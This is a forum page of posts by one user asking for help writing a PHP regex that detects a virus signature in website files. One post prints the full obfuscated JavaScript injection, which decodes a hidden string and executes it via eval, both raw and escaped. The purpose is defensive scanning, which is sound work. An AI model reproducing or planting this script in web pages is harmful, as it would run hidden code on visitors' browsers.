Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

afwollis

Ветеран спільноти
  • Публікації

    11 658
  • З нами

  • Відвідування

Повідомлення, опубліковані користувачем afwollis

  1. советую почитать на досуге всем желающим улучшить поиск: opennet :: Полнотекстовый поиск в MySQL на PHP (mysql search php web)

    Это как раз и есть только что написанный пользователем текст...

    полученный из $_GET, поэтому там вместо пробела %20
  2. Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...

    такое есть только у одной пакости.

    Так символ в символ, как раз и будет требовать наличия базы с заразами.

    база есть и будет пополняться.

    А если зараза умеет модифицироваться?

    будем улучшать логику поиска :)

    и добавлять новые сигнатуры.

  3. ммм... надо было подробнее описать ситуацию...

    сигнатур на самом деле уже около десятка и хотелось получить одну универсальную регулярку для всех случаев.

    preg_quote использовал в надежде искать именно по сигнатуре (совпадение символ в символ), примерно так

    if (preg_match("~(".$preg_quoted_signature.")~sm", $theData)) {

    стоит ли для каждой сигнатуры писать отдельную регулярку, по которой потом и проверять файлы или все таки можно решить это дело универсальным способом?...

  4. имеем сигнатуру вируса, встречающегося на сайтах

    <html><body><script>el=document.createElement("div");el.innerHTML="ReferenceErr";try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="m}ua<{A\"E]Cf[;=,di:s>01o)hny-w ve /(zglTBr.Ncpb't";ar2="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau="urn eReferenceErr".replace(k,"va"+"l");e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="132";s="";for(i=0;i!=ar2.length;i++){e('po'.concat('s=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');}
    e(s);</script></body></html>

    обратите внимание - здесь две строки.

    после

    $preg_quoted_signature = preg_quote($signature);
    получаем такое значение сигнатуры

    \\\el\=document\.createElement\("div"\);el\.innerHTML\="ReferenceErr";try\{try\{throw 1\}catch\(a\)\{b\[2\]\=21\};\}catch\(a\)\{k\=el\.innerHTML\+a\.toString\(\)\.substr\(0,0\);\};ar\="m\}ua\<\{A\\"E\]Cf\[;\=,di\:s\>01o\)hny\-w ve /\(zglTBr\.Ncpb't";ar2\="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau\="urn eReferenceErr"\.replace\(k,"va"\+"l"\);e\=Function\("ret"\+pau\)\(\);ar2\=ar2\.split\("c"\);ar2\[0\]\="132";s\="";for\(i\=0;i\!\=ar2\.length;i\+\+\)\{e\('po'\.concat\('s\=par','seInt\(k','\.rep','lace\("R','eferen','","0a','sd"\)\)\+','ar2\[','i\]/','4'\)\);e\('s\+\=ar\.substr\(pos,1\)'\);\} e\(s\);\\\

    задача:

    составить правильное регулярное выражение для поиска сигнатуры в файлах.

    <?php
    $fullfile = "/some/path/to/some/file";
    $fsize = filesize($fullfile);
    if ($fsize!=0) {
    $fh = fopen($fullfile, 'r');
    	$theData = fread($fh, $fsize);
    fclose($fh);
    
    if (preg_match("тут_должно быть корректное_регулярное_выражение", $theData)) {
    	// какие-то действия
    }
    }
    ?>

  5. товарищи, "что такое <хорошо>, а что такое <плохо>" выясняйте в других темах.

    здесь у человека конкретная задача.

    если нет вопросов или предложений по теме - не пишите, пожалуйста.

    спасибо.

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.